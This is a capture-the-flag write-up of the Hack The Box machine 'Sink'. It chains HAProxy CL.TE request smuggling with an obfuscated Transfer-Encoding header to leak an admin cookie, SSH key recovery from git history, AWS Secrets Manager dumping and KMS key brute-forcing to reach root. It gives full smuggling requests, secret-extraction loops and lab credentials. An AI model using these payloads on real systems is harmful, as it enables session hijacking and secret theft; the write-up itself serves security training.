Hack The Box - Sink Writeup
Sink is an insane linux box by MrR3boot.
Overview
The box starts with web-enumeration where we find two applications. One is running Gitea and one is running a custom application where we can create notes. Looking at the web-requests, we can see that the application is using a proxy between the user and the actual application. Researching for vulnerabilities in this proxy, we find it is vulnerable to HTTP request-smuggling, if we use certain obfuscation. Exploiting the request-smuggling we can leak the cookie of the admin and get access the credentials for Gitea.
Using the credentials, we can find a valid ssh-key to login and read user.txt.
Further enumerating Gitea, we find AWS credentials that we can use to access the secrets manager, which hold credentials for a privileged user. In the home-folder of the privileged user we find an encrypted file. Accessing the AWS Key Management Service we can decrypt the file and are able to read the root password. Using the password we can su to root and read root.txt.
Information Gathering
Nmap
We begin our enumeration with a nmap scan for open ports.
root@darkness:~# nmap -sC -sV 10.10.10.225
Host is up (0.048s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=0a131e5d318e5767; Path=/; HttpOnly
| Set-Cookie: _csrf=rJ4Pm_blZoJL-mEAr3p490myH6c6MTYxNTk3NjkwMDcyMzA3ODIyMA; Path=/; Expires=Thu, 18 Mar 2021 10:28:20 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 17 Mar 2021 10:28:20 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| [...]
5000/tcp open http Gunicorn 20.0.0
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
Enumeration
The open ports shown are 22 (ssh), 3000 (Gitea according to nmap) and 5000 (Gunicorn). Let us start with a quick Gitea enumeration.
Gitea - Port 3000
Let us start by going to http://10.10.10.225:3000.
As nmap already told us, port 3000 is hosting an instance of Gitea. Without credentials, we probably won’t get much information, however we can still check out the Explore tab and see if we get any valuable information.
We do not get any repositories listed. Let us check out the Users tab next.
Going to Users, we get a list of all users registered on the Gitea instance. This gives us three users: david, marcus and root. Let us note these usernames, as they may come in handy later on. Next, let us check out the Organizations tab.
Seems like there is one Organization registered: Sink_Solutions. That is all the information we can get from Gitea without being authenticated. Let us check out Port 5000 next.
HTTP - Port 5000
Going to http://10.10.10.225:5000, we get following page:
Let us register an account next.
After registering an account, we get redirected to this page:
The home-page shows gives as an article and a comment-field. There are two additional menu-tabs: Notes and Contact. Contact does not lead anywhere, but Notes returns following page:
Let us create a note and intercept the request in burp:
Request:
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Connection: close
Cookie: session=eyJlbWFpbCI6ImNocm9ub3NAbWFpbC5jb20ifQ.YFH1Jw.vuLHo-BYURhbXLJ8fFTUh8Q0Izk
note=Test
Response:
HTTP/1.1 302 FOUND
Server: gunicorn/20.0.0
Date: Wed, 17 Mar 2021 12:30:38 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 219
Location: http://10.10.10.225:5000/notes
Vary: Cookie
Via: haproxy
X-Served-By: 07c9fe1b8aea
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/notes">/notes</a>. If not click the link.
Looking at the response, we can notice something quite interesting: Via: haproxy. Let us research what haproxy is and if there are any vulnerabilities.
HAProxy research
After some searching I eventually tried to look for exploits on GitHub using this Google-query. This gives us a GitHub page that showcases a HTTP-Request smuggling vulnerability in HAProxy using CL.TE (Content-Length & Transfer-Encoding). Normally, the HAProxy will prioritize the Transfer-Encoding, stripping the Content-Length and therefore removing our smuggled request. By obfuscating the TE-header, the proxy will use the CL to determine the length of the request, forwarding our smuggled request. The backend however, will use the Transfer-Encoding and therefore interpret our smuggled request.
Example (Taken from the GitHub Post):
Normal request
Request to HAProxy:
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding: chunked
0
X
Request forwarded to backend:
POST / HTTP/1.1
Host: 127.0.0.1:1080
Transfer-Encoding: chunked
X-Forwarded-For: 172.21.0.1
0
The X is stripped!
Obfuscated TE
Request to HAProxy:
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:[\x0b]chunked
0
X
Request forwarded to backend:
POST / HTTP/1.1
Host: 127.0.0.1:1080
Content-Length: 6
Transfer-Encoding:
chunked
X-Forwarded-For: 172.21.0.1
0
X
The X gets forwarded!
Exploiting CL.TE HTTP request smuggling
Let us use the knowledge we just learned and try to exploit this vulnerability. Let us try to smuggle our request to create two notes.
For this we have to create follow request:
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 252
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImNocm9ub3NAbWFpbC5jb20ifQ.YFH7WA.tGBwSBQs-zae1j911VVDD3m_MI4
Transfer-Encoding:[\x0b]chunked
6
note=t
0
POST /notes HTTP/1.1
Host: localhost:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 500
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImNocm9ub3NAbWFpbC5jb20ifQ.YFH7WA.tGBwSBQs-zae1j911VVDD3m_MI4
note=
Obfuscating TE-Header
We now need to obfuscate the TE-Header. Luckily, we can easily do this using Burp:
We can now send the request and check how many notes were created.
We successfully smuggled the request and created two notes! Let us check each note out!
Hmm this note is empty… Let us see if the other note holds any information…
We see a parts of a request in the second note!
Leaking HTTP-request
As only the smuggled request results into an interesting request, let us try to make the first request a comment and the second request a note. This way, we only create one note and this note will container the leaked request. Furthermore, let us increase the Content-Length of the second post to get more parts of the request. Let us increase it from 100 to 250 (same length as the first request).
POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImNocm9ub3NAbWFpbC5jb20ifQ.YFH7WA.tGBwSBQs-zae1j911VVDD3m_MI4
Transfer-Encoding:[\x0b]chunked
4
msg=
0
POST /notes HTTP/1.1
Host: localhost:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImNocm9ub3NAbWFpbC5jb20ifQ.YFH7WA.tGBwSBQs-zae1j911VVDD3m_MI4
note=
We can see now parts of a session-cookie that differs from ours. However, the request is still not complete! Let us increase the Content-Length once again!
POST /comment HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 250
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImNocm9ub3NAbWFpbC5jb20ifQ.YFH7WA.tGBwSBQs-zae1j911VVDD3m_MI4
Transfer-Encoding:[\x0b]chunked
4
msg=
0
POST /notes HTTP/1.1
Host: localhost:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
Connection: keep-alive
Cookie: session=eyJlbWFpbCI6ImNocm9ub3NAbWFpbC5jb20ifQ.YFH7WA.tGBwSBQs-zae1j911VVDD3m_MI4
note=
We finally get the full request! The session-cookie could be the cookie of the administrator! Let us replace our cookie with the leaked one.
Admin session on port 5000
Replacing our cookie and reloading /notes, we get following page shown:
Let us check out each of the three notes:
The three notes container URLs, usernames and passwords. Let us add the URLs to our /etc/hosts file and take note of the creds.
root@darkness:~# cat /etc/hosts | tail -1
10.10.10.225 sink.htb chef.sink.htb code.sink.htb nagios.sink.htb
The VHosts do not lead anywhere, however if we remember to Gitea, we could try to login.
User shell
Let us try to login to http://sink.htb:3000/ with the credentials we found. Trying out all passwords with the previously leaked users, we eventually login using the Dev creds: root : FaH@3L>Z3})zzfQ3. After logging in, we get following dashboard shown:
Let us click on Explore and look at all available repositories.
Repository enumeration
Looking at the repositories, Key_Management seems to be the most interesting. Let us clone the repository, so we can enumerate it more easily.
root@darkness:~# git clone http://sink.htb:3000/root/Key_Management.git
Cloning into 'Key_Management'...
Username for 'http://sink.htb:3000': root
Password for 'http://root@sink.htb:3000': FaH@3L>Z3})zzfQ3
remote: Enumerating objects: 2630, done.
remote: Counting objects: 100% (2630/2630), done.
remote: Compressing objects: 100% (1230/1230), done.
remote: Total 2630 (delta 1079), reused 2600 (delta 1067)s
Receiving objects: 100% (2630/2630), 2.26 MiB | 1.71 MiB/s, done.
Resolving deltas: 100% (1079/1079), done.
Let us now look through all commits:
root@darkness:~/Key_Management# for commit in $(git rev-list master); do git show $commit; done
commit b01a6b7ed372d154ed0bc43a342a5e1203d07b1e
Author: marcus <marcus@sink.htb>
Date: Wed Dec 2 09:07:54 2020 +0000
Adding EC2 Key Management Structure
diff --git a/.keys/dev_keys b/.keys/dev_keys
new file mode 100644
index 0000000..a9acff4
--- /dev/null
+++ b/.keys/dev_keys
@@ -0,0 +1,38 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
+[KEY-DATA]
+5UiCmudIHQVhEAAAANbWFyY3VzQHVidW50dQECAwQFBg==
+-----END OPENSSH PRIVATE KEY-----
[...]
The commit Adding EC2 Key Management Structure by marcus gives us a SSH-key.
Let checkout to this revision and use the key.
root@darkness:~/Key_Management# git checkout b01a6b7ed372d154ed0bc43a342a5e1203d07b1e
HEAD is now at b01a6b7 Adding EC2 Key Management Structure
root@darkness:~/Key_Management# ls -alh .keys/
total 12K
drwxr-xr-x 2 root root 4.0K Mar 17 15:00 .
drwxr-xr-x 5 root root 4.0K Mar 17 15:00 ..
-rw-r--r-- 1 root root 2.6K Mar 17 15:00 dev_keys
Let us update permissions and use the key to ssh to the machine.
root@darkness:~/Key_Management/.keys# chmod 600 dev_keys
root@darkness:~/Key_Management/.keys# ssh -i dev_keys marcus@sink.htb
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-53-generic x86_64)
[...]
Last login: Wed Jan 27 12:14:16 2021 from 10.10.14.4
marcus@sink:~$
We successfully login as marcus and can now read user.txt.
marcus@sink:~$ cat user.txt
f6b42***************************
Privesc - Root
Now that we have user, let us enumerate the system to find a privesc-vector to root.
Enumeration as marcus
Let us quickly enumerate the other repositories to make sure we haven’t missed anything important.
Looking at the Log_Management repository’s most recent commit, we can find the clear-text key and secret for AWS for the endpoint 4566.
AWS Enumeration
Let us start the AWS enumeration by configuring AWS.
marcus@sink:~$ aws configure
AWS Access Key ID [None]: AKIAIUEN3QWCPSTEITJQ
AWS Secret Access Key [None]: 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
Default region name [None]: AT
Default output format [None]: json
We can now interact with the AWS-endpoint by specifying --endpoint-url http://127.0.0.1:4566.
Looking for ways to get secrets from AWS, I came across list-secrets and get-secret-value.
marcus@sink:~$ aws secretsmanager --endpoint-url http://127.0.0.1:4566 list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-rCJzb",
"Name": "Jenkins Login",
"Description": "Master Server to manage release cycle 1",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"e10e3f5f-6757-4e55-84bf-4aa9a82d211d": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-QUJbj",
"Name": "Sink Panel",
"Description": "A panel to manage the resources in the devnode",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"e0c3c474-1763-429f-b5f4-1448c09658db": [
"AWSCURRENT"
]
}
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-UihUI",
"Name": "Jira Support",
"Description": "Manage customer issues",
"KmsKeyId": "",
"RotationEnabled": false,
"RotationLambdaARN": "",
"RotationRules": {
"AutomaticallyAfterDays": 0
},
"Tags": [],
"SecretVersionsToStages": {
"e4239d0b-cf19-481f-b58b-5a085eca1e44": [
"AWSCURRENT"
]
}
}
]
}
We get all secrets listed. In order to now retrieve each secret, we need to use the ARN as secret-id for get-secret-value. We can get all ARNs by using grab and awk.
marcus@sink:~$ aws secretsmanager --endpoint-url http://127.0.0.1:4566 list-secrets | grep -oE '"ARN": "(..?*)"' | awk -F '\"' '{ print $4}'
arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-rCJzb
arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-QUJbj
arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-UihUI
Next, let us loop through each key and get the secret for it:
marcus@sink:~$ aws secretsmanager --endpoint-url http://127.0.0.1:4566 list-secrets | grep -oE '"ARN": "(..?*)"' | awk -F '\"' '{ print $4}' | while read key;
do
aws secretsmanager --endpoint-url http://127.0.0.1:4566 get-secret-value --secret-id "$key";
done
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-rCJzb",
"Name": "Jenkins Login",
"VersionId": "e10e3f5f-6757-4e55-84bf-4aa9a82d211d",
"SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~8j\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1615983787
}
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-QUJbj",
"Name": "Sink Panel",
"VersionId": "e0c3c474-1763-429f-b5f4-1448c09658db",
"SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1615983787
}
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-UihUI",
"Name": "Jira Support",
"VersionId": "e4239d0b-cf19-481f-b58b-5a085eca1e44",
"SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1615983787
}
Let us check which users are available:
marcus@sink:~$ cat /etc/passwd | grep "/bin/.*sh"
root:x:0:0:root:/root:/bin/bash
gitlab-psql:x:994:995::/var/opt/gitlab/postgresql:/bin/sh
gitlab-prometheus:x:993:994::/var/opt/gitlab/prometheus:/bin/sh
marcus:x:1001:1001:,,,:/home/marcus:/bin/bash
david:x:1000:1000:,,,:/home/david:/bin/bash
git:x:115:123:Git Version Control,,,:/home/git:/bin/bash
Seems like david is a valid user! Let us try to su with the found password EALB=bcC=`a7f2#k.
marcus@sink:~$ su david
Password: EALB=bcC=`a7f2#k
david@sink:/home/marcus$
Enumeration as david
Let us start by looking at david’s home-folder.
david@sink:~$ ls -alh
total 28K
drwxr-xr-x 4 david david 4.0K Feb 1 08:46 .
drwxr-xr-x 5 root root 4.0K Dec 2 05:42 ..
lrwxrwxrwx 1 david david 9 Dec 2 05:13 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Dec 2 05:10 .bash_logout
-rw-r--r-- 1 david david 3.7K Dec 2 05:10 .bashrc
drwxrwxr-x 3 david david 4.0K Feb 1 08:46 .local
-rw-r--r-- 1 david david 807 Dec 2 05:10 .profile
drwxr-x--- 3 david david 4.0K Dec 2 12:28 Projects
david@sink:~/Projects$ find . -type f
./Prod_Deployment/servers.enc
david@sink:~/Projects/Prod_Deployment$ cat servers.enc
$jp8=R]=gSI=7S.ɒ`46Z]FCt({?]!Ci5V'E?r{3r\){#(j,.$X#Dr_8\Z»q<o*<'â0/Z<yB#
Y|49Uݠ~\M"aqa
Ļ;U/2둲QHL"S{
쯮CCx8룘uYzj?yz 1w9EV\T
F)c@9s/?ġgZ8;o:'l剺OA!}v,9H#Qw15Vt6d5&$hKY!$MPI$zMU/?7LM*ſ
Seems like david has an encrypted file in this home-directory. We need to find some way to decrypt this. Let us research if AWS offers something like this. The AWS KMS decrypt feature seems to be what we want. In order to use the decrypt function, we first need a key. For this we can use list-keys.
AWS - Key Management Service
david@sink:~/Projects/Prod_Deployment$ aws kms --endpoint-url http://127.0.0.1:4566 list-keys
{
"Keys": [
{
"KeyId": "0b539917-5eff-45b2-9fa1-e13f0d2c42ac",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/0b539917-5eff-45b2-9fa1-e13f0d2c42ac"
},
{
"KeyId": "16754494-4333-4f77-ad4c-d0b73d799939",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/16754494-4333-4f77-ad4c-d0b73d799939"
},
{
"KeyId": "2378914f-ea22-47af-8b0c-8252ef09cd5f",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2378914f-ea22-47af-8b0c-8252ef09cd5f"
},
{
"KeyId": "2bf9c582-eed7-482f-bfb6-2e4e7eb88b78",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/2bf9c582-eed7-482f-bfb6-2e4e7eb88b78"
},
{
"KeyId": "53bb45ef-bf96-47b2-a423-74d9b89a297a",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/53bb45ef-bf96-47b2-a423-74d9b89a297a"
},
{
"KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0"
},
{
"KeyId": "837a2f6e-e64c-45bc-a7aa-efa56a550401",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/837a2f6e-e64c-45bc-a7aa-efa56a550401"
},
{
"KeyId": "881df7e3-fb6f-4c7b-9195-7f210e79e525",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/881df7e3-fb6f-4c7b-9195-7f210e79e525"
},
{
"KeyId": "c5217c17-5675-42f7-a6ec-b5aa9b9dbbde",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/c5217c17-5675-42f7-a6ec-b5aa9b9dbbde"
},
{
"KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc"
},
{
"KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
"KeyArn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70"
}
]
}
Let us parse the KeyID:
david@sink:~/Projects/Prod_Deployment$ aws kms --endpoint-url http://127.0.0.1:4566 list-keys | grep -oE '"KeyId": "(.?*)"' | awk -F '\"' '{ print $4 }'
0b539917-5eff-45b2-9fa1-e13f0d2c42ac
16754494-4333-4f77-ad4c-d0b73d799939
2378914f-ea22-47af-8b0c-8252ef09cd5f
2bf9c582-eed7-482f-bfb6-2e4e7eb88b78
53bb45ef-bf96-47b2-a423-74d9b89a297a
804125db-bdf1-465a-a058-07fc87c0fad0
837a2f6e-e64c-45bc-a7aa-efa56a550401
881df7e3-fb6f-4c7b-9195-7f210e79e525
c5217c17-5675-42f7-a6ec-b5aa9b9dbbde
f0579746-10c3-4fd1-b2ab-f312a5a0f3fc
f2358fef-e813-4c59-87c8-70e50f6d4f70
So know we can brute-force every key for the encrypted file:
for key in $(aws kms --endpoint-url http://127.0.0.1:4566 list-keys | grep -oE '"KeyId": "(.?*)"' | awk -F '\"' '{ print $4 }');
do
aws kms enable-key --key-id "$key" --endpoint-url http://127.0.0.1:4566;
aws kms decrypt --key-id "$key" --endpoint-url http://127.0.0.1:4566 --ciphertext-blob "fileb://`pwd`/servers.enc" --encryption-algorithm "RSAES_OAEP_SHA_256" --query Plaintext --output text;
done
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
An error occurred (InternalFailureException) when calling the Decrypt operation (reached max retries: 4): key type not yet supported for decryption
H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=
An error occurred (InternalFailureException) when calling the Decrypt operation (reached max retries: 4): key type not yet supported for decryption
An error occurred (InternalFailureException) when calling the Decrypt operation (reached max retries: 4): key type not yet supported for decryption
An error occurred (InternalFailureException) when calling the Decrypt operation (reached max retries: 4): key type not yet supported for decryption
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
An error occurred (InternalFailureException) when calling the Decrypt operation (reached max retries: 4): key type not yet supported for decryption
We get some base64 as output.
david@sink:~/Projects/Prod_Deployment$ echo -n H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA= > file.b64
david@sink:~/Projects/Prod_Deployment$ base64 -d file.b64 > file
david@sink:~/Projects/Prod_Deployment$ file file
file: gzip compressed data, from Unix, original size modulo 2^32 10240
Seems like the decrypted data is a file. Let us use cyber-chef to work with the file.
We can simply click on the Gunzip().
The decrypted file contains a password: _uezduQ!EY5AHfe2.
david@sink:~/Projects/Prod_Deployment$ su
Password: _uezduQ!EY5AHfe2
root@sink:/home/david/Projects/Prod_Deployment#
We successfully su to root and read root.txt.
root@sink:~# cat root.txt
4564b***************************